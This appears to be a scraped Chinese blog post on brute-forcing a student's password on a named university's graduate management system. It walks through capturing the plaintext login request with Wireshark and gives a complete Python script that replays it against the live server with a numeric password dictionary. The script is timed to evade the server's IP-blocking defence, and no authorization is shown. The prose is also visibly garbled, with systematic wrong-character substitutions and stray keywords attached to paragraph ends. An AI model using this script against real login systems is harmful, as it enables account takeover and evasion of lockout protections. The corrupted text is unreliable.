网络攻防研究第001篇:尝试暴力破解某高校研究生管理系统学生密码

前言

       若是你是在校大学生,并且还对网络攻防比较感兴趣的话,相信你最开始尝试渗透的莫过于所在院校的学生管理系统。由于通常来讲这样的系统每每比较薄弱,拿来练手那是再合适不过的了。做为本系列的第一篇文章,我将会利用暴力破解的方式,尝试对某高校的研究生管理系统的学生密码进行破解。因为这个管理系统的网站属于该高校的内网资源,外网是没法访问的,所以你们就不要尝试按照文中的内容来对文中出现的网址进行访问了。利用本文所论述的暴力破解思想,能够帮助你们更好地认识咱们的网络,也有助于了解目标网站是否安全。那么在这里须要再三强调的是,文中所提内容仅做技术交流之用,请不要拿它来作坏事。python

 

登陆的基本原理

       相信无论是哪一个院校的管理系统,都必然会有一个登录界面,用于输入学号以及密码。只有在两者全都正确的前提下,才可以成功地登陆,不然就登陆失败。本文所研究的学生管理系统也不例外,其界面以下所示:数据库

 

       不知道你们有没有想过,当咱们将用户ID和密码填写进相应的位置,而后登陆这个学生管理系统时,系统作了什么呢?尽管我并无深刻研究过目标系统的实现机制,可是通常来讲,界面会将用户ID和密码这两个信息发送到服务器,而后服务器就能够在数据库中匹配两者是否存在以及两者是否为对应的关系。若是用户ID和密码有效,服务器就会发回一个用于表示验证成功的数据包,从而容许用户进入管理系统;若是匹配失败,服务器也会发送用于表示登陆失败的数据包,拒绝用户的登陆请求,并给出相应的提示。编程

       可见,这个原理仍是很是简单的。那么咱们须要作的就是弄清楚在登录的时候,系统到底是发送了什么样的数据包到服务器,而且还须要知道服务器对于登陆成功和失败这两种状况,分别会回复怎样的数据包。那么只要可以肯定这一来一回的数据内容,咱们就有可能利用暴力破解的方式解析出某个用户名所对应的密码了。浏览器

 

登陆数据包的分析

       为了获取系统所收发的数据包,那么就必然须要使用网络分析工具。这里我所使用的是 Wireshark这款工具,它是目前最为流行的网络数据包分析软件。首先来到研究生登陆界面,输入用户ID以及密码,先不进行登陆,开启Wireshark的监控功能,最后再单击“登陆”按钮。能够发现,此时Wireshark会捕获到很是多的数据包,可是其实其中的绝大部分是与咱们的登陆无关的,所以这里须要利用筛选器来筛选出咱们须要的数据包。好比能够在筛选条件中输入:ip.addr==172.21.96.120,这样就只会剩下与IP地址为172.21.96.120相关的数据包了,从而便于咱们接下来的分析。这个IP地址其实就是咱们所研究的目标系统的IP地址。或者也能够在纯净的虚拟机中进行登陆,而后在宿主计算机中开启Wireshark对虚拟机进行监控,那么这样所捕获到的数据包基本上都是与登陆相关的了,无需再次进行筛选。下图就是我利用虚拟机登陆所捕获到的数据包:安全

       这里咱们主要留意红框中的内容,首先第一个红框中的三个数据包,表示TCP链接时的三次握手的过程,经过这个就能够确认,链接已经创建,就能够与目标主机进行下一步的操做了。而第二个红框中的内容则是一个POST请求,是由我方发出的,并须要由远端的服务器进行处理。其实也就是当点击了“登陆”按钮后,发送到服务器的一个最为重要的数据包,是咱们关注的重点。接下来咱们来详细分析一下这个数据包的内容,在这个数据包上单击鼠标右键,选择“追踪流”->”TCP流”,那么就能够打开“追踪TCP流”对话框:服务器

 

       这里须要说明的是,红色字体部分是我方发往服务器端的数据包的内容,也就是一个POST请求,而蓝色字体部分是服务器的回复。查看一下红色字体部分,能够看到最后一行以明文的形式出现了登陆的用户名(USER)以及密码(PASSWORD),那么很明显,这里是该管理系统的一个安全隐患。网络

       因为此次的登陆,咱们的用户ID以及密码是正确的,因而就回复了上述内容,那么若是输入错误,会返回什么样的数据包呢,这里不妨抓包分析一下:app

 

       首先,两者的红色字体部分是彻底一致的,可是蓝色字体部分则出现了显著的差异。对比就能够知道,若是登陆成功,那么返回的数据包中会包含有Location,也就是重定向字段,说明用户ID以及密码验证成功,容许用户访问Location后面的网址,而该网址正是管理系统的真身。所以,咱们在接下来的编程中,只要断定返回的数据包中是否包含有Location这个字符串,那么就能够知道登陆是否成功了。socket

       那么在登陆失败的时候,返回的数据包(上图中的蓝色字体内容)表示的是什么呢?不妨看一下在登陆失败的时候,浏览器中显示的网页的状况:工具

 

       能够看到,这里显示的依旧是登录界面,不一样的是在界面的下方显示出登陆失败的提示。若是说查看这个网页的代码,就会发现网页的代码与在Wireshark中经过抓包返回的内容是一致的。

       能够总结一下,为了实现暴力破解,咱们能够尝试不断地向服务器发送红色字体的POST数据包,其中USER的内容就是想要破解的学号信息,而PASSWORD的内容则是密码。若是说你们想批量学号进行破解,那么能够将想要破解的学号保存在一个文件里面。可是这里我为了简单起见,只尝试破解一个学号,所以这个学号的内容就直接填写到想要发送的数据包里面。而PASSWORD部分则须要利用密码字典,将密码保存在文件中,而后程序须要不断地按序提取密码,填写到数据包里面发送。若是收到的回复里面并不包含有Location,则继续发送数据包,直至找到密码为止,最后再将密码显示出来。那么以后的编程,就会依据这个思想进行。

 

程序的编写

       为了简单起见,这里我使用Python来编写程序,完整的程序以下:

 

# -*- coding: utf-8 -*-
import socket
import time

# 待发送的数据包,注意这里的PASSWORD为空
strPost = "POST /bgdadmin/servlet/studentLogin HTTP/1.1\r\n" \
          "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n" \
          "Referer: http://yjsgl.bjut.edu.cn/bgdadmin/servlet/studentMain\r\n" \
          "Accept-Language: zh-cn\r\n" \
          "Content-Type: application/x-www-form-urlencoded\r\n" \
          "Accept-Encoding: gzip, deflate\r\n" \
          "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n" \
          "Host: yjsgl.bjut.edu.cn\r\n" \
          "Content-Length: 47\r\n" \
          "Connection: Keep-Alive\r\n" \
          "Cache-Control: no-cache\r\n" \
          "Cookie: JSESSIONID=DgxvXnRhLdSn65nfkyXv4wGXr8xQWb4Vmhkq7GfdhRz3LpdwJ4WC!-611812863\r\n\r\n" \
          "TYPE=AUTH&glnj=&USER=xxxxxxxxxx&PASSWORD="		  

i = 0
# 目标服务器的IP地址以及想要链接的端口
target_host = '172.21.96.120'
target_port = 80
# 打开字典文件并逐行读取		  
for password in open('C:\\superdic.txt'):
    # 若是已经验证了100个密码,则休息30秒,并将计数器清零
    i = i + 1
    if i > 100:
        time.sleep(30)
        i = 0
	# 创建一个socket对象
    client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    # 链接客户端
    client.connect((target_host, target_port))
    # 组成最终的数据包
    strPacket = strPost + password		  
	# 发送数据包
    client.send(strPacket)
    # 接收返回的数据包
    response = client.recv(1024)
    # 每验证完一条密码就休息0.3秒
    time.sleep(0.3)
	# 查找返回的数据包中是否包含有Location字段
    if response.find('Location') != -1:
        # 若是包含有Location字段,则把密码打印出来
        print password
        # 找到正确的密码就跳出循环
        break

 

       因为Python写的程序自己就很通俗易懂,所以这里并不须要对程序做过多的解释。可是有几个问题须要说明一下:

       一、若是说想要在程序中使用中文的注释,那么就必需要加入# -*- coding: utf-8 -*-,也就是上述程序中的第一行内容。

       二、待发送的数据包其实就是直接在Wireshark的“追踪TCP流”对话框中直接拷贝过来的(红色字体部分)。这里须要强调的是,每一行的末尾都有一对甚至两对“\r\n”。这是由于标准的HTTP数据包中,就是以“\r\n”做为一行的结尾的。在Wireshark中的数据窗口能够很明显地看到(“\r\n”的ASCII码是0x0d和0x0a):

 

       所以你们在实际的分析过程当中,必定要看清楚每一行的末尾究竟有多少个“\r\n”。这些细节若是不重视的话,极可能就得不到想要返回的数据包了。

       三、程序中有一个for循环,这个循环只有在找到正确的密码,或者验证完密码字典中的全部密码,依旧没找到正确密码的状况下,才会退出。每次执行这个for循环,都会从新创建TCP链接,而后再发送测试的数据包。这里须要注意的是,不能只创建一次TCP链接,而后不断地向目标服务器发送测试数据包。由于这样的话,从第二个测试数据包开始,服务器所返回的数据包就是未知的了。咱们最开始经过Wireshark抓包测试时的流程就是先创建TCP链接,而后再发送一个测试数据包,而不是在创建链接后,不断地发送数据包。因此在程序的编写时,必定要注意究竟应该把TCP链接的创建代码放在什么位置,以免出错。

       四、程序中的用户名(USER)已经被我隐去,使用了十个x取代。而密码(PASSWORD)是六位的数字。那么为了生成密码字典,我这里使用的是superdic这款软件,它能够帮助咱们很轻松地生成各类各样的密码字典。经过设置基本字符(0~9)以及密码位数(6位),就能够获得一个包含有密码的txt文件,在这个文件中,一行保存有一个密码。那么在个人测试中,我将这个密码字典放在了C盘的根目录中。程序在执行的时候,就会打开这个密码文件,逐行读取密码,组成数据包不断地发送进行测试。

 

程序的测试

       暴力破解实际上是一种最简单的测试方式,以了解目标网站是否安全。那么对于此次所研究的管理系统而言,其实仍是采起了一些措施来对抗暴力破解的。为何这么说呢?其实上述程序是在我通过屡次的尝试以后才最终肯定的。我在解释上述程序时,并无讲解为何要调用两次sleep语句,由于这与目标网站的自我保护机制相关。

       其实最开始我是没有加入sleep语句的,那么在程序运行后,在不断地发包进行暴力破解的时候,我发现过不了多久,程序就会提示出错,意思是在创建链接的时候出现了问题:

       这个时候若是利用Wireshark进行抓包,就会获得如下内容:

 

       这些数据包是以黑色做为底色显示的,说明它们是不正常的数据包。能够看到,前六个数据包不断地尝试利用本机的7527到7532号端口来与目标主机创建TCP的SYN链接,也就是TCP链接的第一次握手。可是本机迟迟没有收到由目标计算机发回来的确认数据包,因而接下来的12个数据包其实就是针对于前六个数据包的重传(TCP Retransmission),每一个数据包都会重传两次,最终依旧没有收到回复,才会放弃链接。那么其实这也就解释了为何Python程序会返回链接不成功的错误,远程服务器迟迟不予回复,那么天然后面的测试数据包也就不会发送了。说明这是远程服务器采起的一种自我保护的措施,一旦发现有人尝试利用暴力破解,那么在接收必定数量的数据包以后,就会拒绝对攻击者进行回复了。我认为服务器应该是将攻击者的IP地址加入了黑名单。通过实际测试能够知道,IP地址会被封锁1个小时。

       那么接下来就须要弄清楚究竟在必定的时间内,发送多少个数据包才是安全的,或者数据包与数据包之间的安全时间间隔是多少。关于这个问题,你们能够根据本身的实际状况,抓包分析,看看到底是在通过了多少个数据包以后,远程服务器才会拒绝请求。那么针对于我当前所研究的网站而言,经过不断的测试,我这里将数据包与数据包之间的发送间隔设定为0.3秒(程序的第二个sleep语句),而且每发送100个数据包,则休息30秒(程序的第一个sleep语句),在这种状况下,进行大量的测试数据包的发送,就不会出现封锁IP的状况了。

       最后不妨计算一下,在最坏的状况下,破解一个用户的密码须要多长时间。首先,六位纯数字的密码,一共会有1000000种组合的可能性。因为每发送100个数据包就须要休息30秒,那么一共就须要休息30*(1000000/100)也就是300000秒。从发送第一个链接数据包到收到验证成功或者失败的回复,因为受限于网络的状况,所以并不固定,这里不妨假设是0.1秒,而数据包与数据包之间的间隔是0.3秒,也就是说每一个数据包还须要0.3+0.1也就是0.4秒的时间,0.4*1000000则是400000秒,这样就能够知道,为了破解一个用户的密码,须要700000秒,也就大概是8.1天。那么也就说明了,该研究生管理系统在应对暴力破解方面,其实仍是采起了比较好的策略的。

 

总结

       经过暴力破解的测试,咱们能够了解到目标网站的安全机制究竟怎样。尽管不少时候,暴力破解是没有办法的办法,有时也是比较经常使用的方法。如何应对暴力破解,究竟应当采起怎样的规则策略,也是见仁见智。能够看到,在密码只有6位纯数字的状况下,最坏状况还须要8.1天才可以成功实现破解,这也就说明了,若是采起数字与字母组合,加大密码位数,对于安全的重要性是不言而喻的。固然了,毕竟暴力破解是一种比较低端的作法,将来我还会讨论更多的方式实现网络的渗透与破解。毕竟网络安全知识是一把双刃剑,安全人员也是必需要掌握黑客可能会使用的技术,从而针对这些技术实施安全防护的。

 

 

 

     《从苏宁电器到卡巴斯基》终稿完整版,请访问

       https://user.qzone.qq.com/3149487460/blog/1494822165

相关文章
相关标签/搜索